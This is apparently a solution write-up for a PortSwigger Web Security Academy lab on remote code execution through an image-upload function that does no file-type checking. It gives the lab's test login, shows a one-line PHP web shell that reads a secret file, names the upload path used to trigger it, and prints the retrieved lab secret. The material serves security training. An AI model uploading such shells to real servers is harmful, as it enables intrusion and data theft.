Remote code execution via web shell upload

https://portswigger.net/web-security/learning-paths/server-side-vulnerabilities-apprentice/file-upload-apprentice/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

Description

This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

Solution

After login as Wiener user there's an upload option to upload avatar image:

with the avatar image at this path/location:

https://0ab300990381641d80b5b7de005e0030.web-security-academy.net/resources/images/avatarDefault.svg

We need to obtain Carlos's secret, we can do it upload a php shell (php_web_shell.php) that get secret file content

<?php echo file_get_contents('/home/carlos/secret'); ?>

there's not a sanitizaiton and we can upload it directly:

We know the file location and we can open it going to: https://0ab300990381641d80b5b7de005e0030.web-security-academy.net/files/avatars/php_web_shell.php

Carlos's Secret

5707rbX0roByRQsol0HGASNWMbFg7KwJ

Obtaining Carlos's secret and solving the lab.

Last updated